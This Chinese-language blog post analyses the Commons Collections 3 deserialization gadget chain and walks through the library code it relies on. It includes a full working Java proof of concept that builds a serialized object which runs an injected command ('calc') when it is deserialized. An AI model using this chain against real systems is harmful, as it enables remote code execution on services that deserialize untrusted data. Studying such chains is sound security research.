在ysoserial中,官方是没给gadget,这儿经过文章分析我认为的gadget,继承自AbstractTranslate
的类被Javassist插桩后返回一个被修改过的templates
(_bytecodes
)并将其传给InstantiateTransformer
后,InstantiateTransformer
利用这个templates
获得的构造函数加上从ConstantTransformer
返回的TrAXFilter
类将其实例化,实例化的过程中将会调用TrAXFilter
的构造函数,从而调用TemplatesImpl.newTransformer()
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter()
TemplatesImpl.newInstance()
… template gadget
其实也可以看到,大部分的gadget都是和CC1是一样,主要是transformers
数组的部分改了下
final Transformer transformerChain = new ChainedTransformer(
new Transformer\[\]{ new ConstantTransformer(1) });
final Transformer\[\] transformers = new Transformer\[\] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class\[\] { Templates.class },
new Object\[\] { templatesImpl } )};
来关注下新出现的两个类InstantiateTransformer
和TrAXFilter
在InstantiateTransformer
的transform
方法中可以看到,获取public构造方法,newInstance实例化该对象
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
然后是TrAXFilter
的构造函数,对传入的templates调用newTransformer
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
\_templates = templates;
\_transformer = (TransformerImpl) templates.newTransformer();
\_transformerHandler = new TransformerHandlerImpl(\_transformer);
\_useServicesMechanism = \_transformer.useServicesMechnism();
}
这样的话就可以和之前的template gadget串起来了,在调用newTransformer
时从字节码中加载类,然后运行构造方法,从而执行危险函数。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String\[\] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc\\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte\[\] classBytes = cc.toBytecode();
byte\[\]\[\] targetByteCodes = new byte\[\]\[\]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "\_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "\_name", "name");
setFieldValue(templates, "\_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer\[\] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class\[\]{Templates.class},new Object\[\]{templates})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler\_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler\_constructor.setAccessible(true);
InvocationHandler map\_handler = (InvocationHandler) handler\_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy\_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class\[\]{Map.class},map\_handler); //创建proxy对象
Constructor AnnotationInvocationHandler\_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler\_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler\_Constructor.newInstance(Override.class,proxy\_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
手机扫一扫
移动阅读更方便
你可能感兴趣的文章